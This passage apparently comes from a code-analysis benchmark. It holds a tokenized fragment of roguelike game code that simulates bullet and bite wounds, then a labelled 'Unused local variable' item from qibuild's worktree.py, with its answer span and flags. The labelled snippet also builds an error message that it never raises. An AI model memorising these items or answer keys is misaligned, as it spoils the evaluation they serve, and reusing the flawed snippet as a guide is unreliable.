"\t\t_", "return_", "'", "The", " ", "round", " ", "misses", " ", "entire", "ly", "!'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "\\u", "msg_", "=_", "[_", "'", "The", " ", "round", " ", "misses", " ", "slight", "ly", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "detailed", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "'", "player", "'_", "in_", "life_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\\u", "msg_", "=_", "[_", "'", "The", " ", "round", " ", "hits", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\\u", "msg_", "=_", "[_", "'%", "s", " ", "hits", " ", "%", "s", "\\\\'", "s", " ", "%", "s", "'_", "%_", "(_", "items_", "._", "get", "\\u", "name_", "(_", "bullet_", ")_", ",_", "life_", "[_", "'", "name", "'_", "]_", "[_", "0_", "]_", ",_", "limb", "_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "item", "\\u", "uid_", "in_", "lf", "e_", "._", "get", "\\u", "items", "\\u", "attache", "d\\u", "to", "\\u", "limb", "_", "(_", "life_", ",_", "limb", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\\u", "items", "\\u", "to", "\\u", "check_", "._", "append_", "(_", "{_", "'", "item", "'_", ":_", "item", "\\u", "uid_", ",_", "'", "visi", "ble", "'_", ":_", "True_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "item_", "=_", "items_", "._", "get", "\\u", "item", "\\u", "from", "\\u", "uid_", "(_", "item", "\\u", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'", "stor", "ing", "'_", "in_", "\\u", "item_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "for_", "item", "\\u", "in", "\\u", "container", "\\u", "uid_", "in_", "\\u", "item_", "[_", "'", "stor", "ing", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "\\u", "chan", "ce", "\\u", "of", "\\u", "hit", "ting", "\\u", "item_", "=_", "\\u", "item_", "[_", "'", "capacit", "y", "'_", "]_", "/_", "float_", "(_", "\\u", "item_", "[_", "'", "max", "\\u", "capacit", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "random_", "._", "uniform_", "(_", "0_", ",_", "1_", ")_", "<_", "\\u", "chan", "ce", "\\u", "of", "\\u", "hit", "ting", "\\u", "item_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "items", "\\u", "to", "\\u", "check_", "._", "append_", "(_", "{_", "'", "item", "'_", ":_", "item", "\\u", "in", "\\u", "container", "\\u", "uid_", ",_", "'", "visi", "ble", "'_", ":_", "False_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "entry_", "in_", "\\u", "items", "\\u", "to", "\\u", "check_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\\u", "item_", "=_", "items_", "._", "get", "\\u", "item", "\\u", "from", "\\u", "uid_", "(_", "entry_", "[_", "'", "item", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "item", "\\u", "damage_", "=_", "get", "\\u", "punct", "ure", "\\u", "value_", "(_", "bullet_", ",_", "\\u", "item_", ",_", "target", "\\u", "structure", "\\u", "name_", "=_", "\\u", "item_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "item_", "[_", "'", "thick", "ness", "'_", "]_", "=_", "numbers_", "._", "clip_", "(_", "\\u", "item_", "[_", "'", "thick", "ness", "'_", "]_", "-_", "\\u", "item", "\\u", "damage_", ",_", "0_", ",_", "\\u", "item_", "[_", "'", "max", "\\u", "thick", "ness", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'", "material", "'_", "in_", "\\u", "item_", "and_", "not_", "\\u", "item_", "[_", "'", "material", "'_", "]_", "==_", "'", "cloth", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "\\u", "speed", "\\u", "mod_", "=_", "\\u", "item", "\\u", "damage_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "can", "\\u", "stop_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "bullet_", "[_", "'", "speed", "'_", "]_", "*=_", "\\u", "speed", "\\u", "mod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bullet_", "[_", "'", "velo", "city", "'_", "]_", "[_", "0_", "]_", "*=_", "\\u", "speed", "\\u", "mod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bullet_", "[_", "'", "velo", "city", "'_", "]_", "[_", "1_", "]_", "*=_", "\\u", "speed", "\\u", "mod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "\\u", "can", "\\u", "stop_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "\\u", "item_", "[_", "'", "thick", "ness", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "\\u", "msg_", "._", "append_", "(_", "',", " ", "destroy", "ing", " ", "the", " ", "%", "s", "'_", "%_", "\\u", "item_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u", "item_", "[_", "'", "type", "'_", "]_", "==_", "'", "explosi", "ve", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "items_", "._", "explode", "_", "(_", "\\u", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "items_", "._", "delete", "\\u", "item_", "(_", "\\u", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "bullet_", "[_", "'", "speed", "'_", "]_", "<=_", "1_", "and_", "\\u", "can", "\\u", "stop_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "\\u", "msg_", "._", "append_", "(_", "',", " ", "lod", "ging", " ", "its", "elf", " ", "in", " ", "%", "s", "'_", "%_", "items_", "._", "get", "\\u", "name_", "(_", "\\u", "item_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "ret", "\\u", "string_", "=_", "own", "\\u", "language_", "(_", "life_", ",_", "\\u", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u", "ret", "\\u", "string_", "._", "endswith_", "(_", "'!'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "return_", "\\u", "ret", "\\u", "string_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "return_", "\\u", "ret", "\\u", "string_", "+_", "'.'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "'", "material", "'_", "in_", "\\u", "item_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "if_", "\\u", "item_", "[_", "'", "material", "'_", "]_", "==_", "'", "metal", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "\\u", "msg_", "._", "append_", "(_", "',", " ", "punct", "uri", "ng", " ", "the", " ", "%", "s", "'_", "%_", "\\u", "item_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "\\u", "msg_", "._", "append_", "(_", "',", " ", "rip", "ping", " ", "through", " ", "the", " ", "%", "s", "'_", "%_", "\\u", "item_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "damage_", "=_", "get", "\\u", "punct", "ure", "\\u", "value_", "(_", "bullet_", ",_", "\\u", "actual", "\\u", "limb", "_", ",_", "target", "\\u", "structure", "\\u", "name_", "=_", "limb", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "actual", "\\u", "limb", "_", "[_", "'", "thick", "ness", "'_", "]_", "=_", "numbers_", "._", "clip_", "(_", "\\u", "actual", "\\u", "limb", "_", "[_", "'", "thick", "ness", "'_", "]_", "-_", "\\u", "damage_", ",_", "0_", ",_", "\\u", "actual", "\\u", "limb", "_", "[_", "'", "max", "\\u", "thick", "ness", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "damage", "\\u", "mod_", "=_", "1_", "-_", "(_", "\\u", "actual", "\\u", "limb", "_", "[_", "'", "thick", "ness", "'_", "]_", "/_", "float_", "(_", "\\u", "actual", "\\u", "limb", "_", "[_", "'", "max", "\\u", "thick", "ness", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "limb", "_", "in_", "life_", "[_", "'", "body", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\\u", "msg_", "._", "append_", "(_", "',", " ", "'_", "+_", "lf", "e_", "._", "add", "\\u", "wou", "nd_", "(_", "life_", ",_", "limb", "_", ",_", "cut_", "=_", "\\u", "damage_", "*_", "\\u", "damage", "\\u", "mod_", ",_", "impact", "\\u", "velocity_", "=_", "bullet_", "[_", "'", "velo", "city", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "ret", "\\u", "string_", "=_", "own", "\\u", "language_", "(_", "life_", ",_", "\\u", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u", "ret", "\\u", "string_", "._", "endswith_", "(_", "'!'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "return_", "\\u", "ret", "\\u", "string_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "return_", "\\u", "ret", "\\u", "string_", "+_", "'.'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "bite", "_", "(_", "life_", ",_", "target", "\\u", "id_", ",_", "limb", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "logging_", "._", "debug_", "(_", "'%", "s", " ", "bit", " ", "%", "s", " ", "in", " ", "the", " ", "%", "s", ".'_", "%_", "(_", "'", " ", "'_", "._", "join_", "(_", "life_", "[_", "'", "name", "'_", "]_", ")_", ",_", "'", " ", "'_", "._", "join_", "(_", "LIF", "E_", "[_", "target", "\\u", "id_", "]_", "[_", "'", "name", "'_", "]_", ")_", ",_", "limb", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "target_", "=_", "LIF", "E_", "[_", "target", "\\u", "id_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "msg_", "=_", "[_", "'%", "s", "'_", "%_", "language_", "._", "get", "\\u", "introduct", "ion_", "(_", "life_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "bite", "\\u", "strength_", "=_", "random_", "._", "randint_", "(_", "1_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "numbers_", "._", "distance_", "(_", "life_", "[_", "'", "pos", "'_", "]_", ",_", "target_", "[_", "'", "pos", "'_", "]_", ")_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\\u", "msg_", "._", "append_", "(_", "'", "bite", "s", " ", "the", " ", "air", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "'", " ", "'_", "._", "join_", "(_", "\\u", "msg_", ")_", "+_", "'.'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "items", "\\u", "to", "\\u", "check_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "\\u", "item_", "in_", "lf", "e_", "._", "get", "\\u", "items", "\\u", "attache", "d\\u", "to", "\\u", "limb", "_", "(_", "target_", ",_", "limb", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\\u", "items", "\\u", "to", "\\u", "check_", "._", "append_", "(_", "{_", "'", "item", "'_", ":_", "\\u", "item_", ",_", "'", "visi", "ble", "'_", ":_", "True_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "actual", "\\u", "item_", "=_", "items_", "._", "get", "\\u", "item", "\\u", "from", "\\u", "uid_", "(_", "\\u", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'", "stor", "ing", "'_", "in_", "\\u", "actual", "\\u", "item_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "for_", "\\u", "item", "\\u", "in", "\\u", "container_", "in_", "\\u", "actual", "\\u", "item_", "[_", "'", "stor", "ing", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "\\u", "items", "\\u", "to", "\\u", "check_", "._", "append_", "(_", "{_", "'", "item", "'_", ":_", "\\u", "item", "\\u", "in", "\\u", "container_", ",_", "'", "visi", "ble", "'_", ":_", "False_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "entry_", "in_", "\\u", "items", "\\u", "to", "\\u", "check_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\\u", "item_", "=_", "items_", "._", "get", "\\u", "item", "\\u", "from", "\\u", "uid_", "(_", "entry_", "[_", "'", "item", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "'", "thick", "ness", "'_", "in_", "\\u", "item_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "logging_", "._", "warning_", "(_", "'", "Item", " ", "\\\\'", "%", "s", "\\\\'", " ", "has", " ", "no", " ", "set", " ", "thick", "ness", ".", " ", "Guess", "ing", "...'_", "%_", "\\u", "item_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "item_", "[_", "'", "thick", "ness", "'_", "]_", "=_", "\\u", "item_", "[_", "'", "size", "'_", "]_", "/_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "thickness_", "=_", "\\u", "item_", "[_", "'", "thick", "ness", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "item_", "[_", "'", "thick", "ness", "'_", "]_", "=_", "numbers_", "._", "clip_", "(_", "\\u", "item_", "[_", "'", "thick", "ness", "'_", "]_", "-_", "\\u", "bite", "\\u", "strength_", ",_", "0_", ",_", "100_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "bite", "\\u", "strength_", "-=_", "\\u", "thickness_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "tear", "_", "=_", "\\u", "item_", "[_", "'", "thick", "ness", "'_", "]_", "-_", "\\u", "thickness_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "limb", "\\u", "in", "\\u", "context_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u", "item_", "[_", "'", "material", "'_", "]_", "==_", "'", "cloth", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "\\u", "thickness_", "and_", "not_", "\\u", "item_", "[_", "'", "thick", "ness", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "\\u", "msg_", "._", "append_", "(_", "'", "rip", "s", " ", "through", " ", "<", "own", ">", " ", "%", "s", "'_", "%_", "\\u", "item_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "\\u", "tear", "_", "<=_", "-_", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "\\u", "msg_", "._", "append_", "(_", "'", "rip", "s", " ", "<", "own", ">", " ", "%", "s", "'_", "%_", "\\u", "item_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "\\u", "tear", "_", "<=_", "-_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "\\u", "msg_", "._", "append_", "(_", "'", "tear", "s", " ", "<", "own", ">", " ", "%", "s", "'_", "%_", "\\u", "item_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "\\u", "tear", "_", "<=_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "\\u", "msg_", "._", "append_", "(_", "'", "slight", "ly", " ", "tear", "s", " ", "<", "own", ">", " ", "%", "s", "'_", "%_", "\\u", "item_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u", "bite", "\\u", "strength_", "<=_", "0_", "and_", "\\u", "item_", "[_", "'", "thick", "ness", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "\\u", "msg_", "._", "append_", "(_", "'", "is", " ", "stopp", "ed", " ", "by", " ", "<", "own", ">", " ", "%", "s", "'_", "%_", "\\u", "item_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'", " ", "'_", "._", "join_", "(_", "\\u", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "not", " ", "lf", "e", ".", "limb", "\\u", "is", "\\u", "cut", "(", "target", ",", " ", "limb", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u", "bite", "\\u", "strength_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\\u", "msg_", "._", "append_", "(_", "',", " ", "cutt", "ing", " ", "<", "own", ">", " ", "%", "s", "'_", "%_", "limb", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "\\u", "bite", "\\u", "strength_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\\u", "msg_", "._", "append_", "(_", "',", " ", "tear", "ing", " ", "<", "own", ">", " ", "%", "s", "'_", "%_", "limb", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "\\u", "bite", "\\u", "strength_", "==_", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\\u", "msg_", "._", "append_", "(_", "',", " ", "rip", "ping", " ", "open", " ", "<", "own", ">", " ", "%", "s", "'_", "%_", "limb", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u", "bite", "\\u", "strength_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "lf", "e_", "._", "add", "\\u", "wou", "nd_", "(_", "target_", ",_", "limb", "_", ",_", "cut_", "=_", "\\u", "bite", "\\u", "strength_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "TOD", "O", ":", " ", "Ho", "w", " ", "thick", " ", "is", " ", "skin", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "bite", "\\u", "strength_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "not", " ", "\\u", "bite", "\\u", "streng", "th", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "return", " ", "'", " ", "'.", "join", "(\\u", "msg", ")_", "\\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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
aldebaran/qibuild/python/qisys/worktree.py
[ { "content": " def move_project(self, path, new_path):\n \"\"\" Move a project from a worktree \"\"\"\n src = self.normalize_path(path)\n new_src = self.normalize_path(new_path)\n if not self.has_project(src):\n raise WorkTreeError(\"No such project: %s\" % src)\n if self.has_project(new_src):\n mess = \"Could not move project\\n\"\n mess += \"Path %s is already registered\\n\" % src\n mess += \"Current worktree: %s\" % self.root\n self.cache.remove_src(src)\n self.cache.add_src(new_src)\n self.load_projects()\n project = self.get_project(src)\n for observer in self._observers:\n observer.reload()", "metadata": "root.WorkTree.move_project", "header": "['class', 'WorkTree', '(', 'object', ')', ':', '___EOS___']", "index": 216 } ]
[ { "span": "project ", "start_line": 229, "start_column": 8, "end_line": 229, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Work", "Tree_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "move", "\\u", "project_", "(_", "self_", ",_", "path_", ",_", "new", "\\u", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Move", " ", "a", " ", "project", " ", "from", " ", "a", " ", "work", "tree", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "src_", "=_", "self_", "._", "normali", "ze", "\\u", "path_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "src_", "=_", "self_", "._", "normali", "ze", "\\u", "path_", "(_", "new", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "self_", "._", "has", "\\u", "project_", "(_", "src_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Work", "Tree", "Error_", "(_", "\"", "No", " ", "suc", "h", " ", "project", ":", " ", "%", "s", "\"_", "%_", "src_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "project_", "(_", "new", "\\u", "src_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mess_", "=_", "\"", "Cou", "ld", " ", "not", " ", "move", " ", "project", "\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mess_", "+=_", "\"", "Path", " ", "%", "s", " 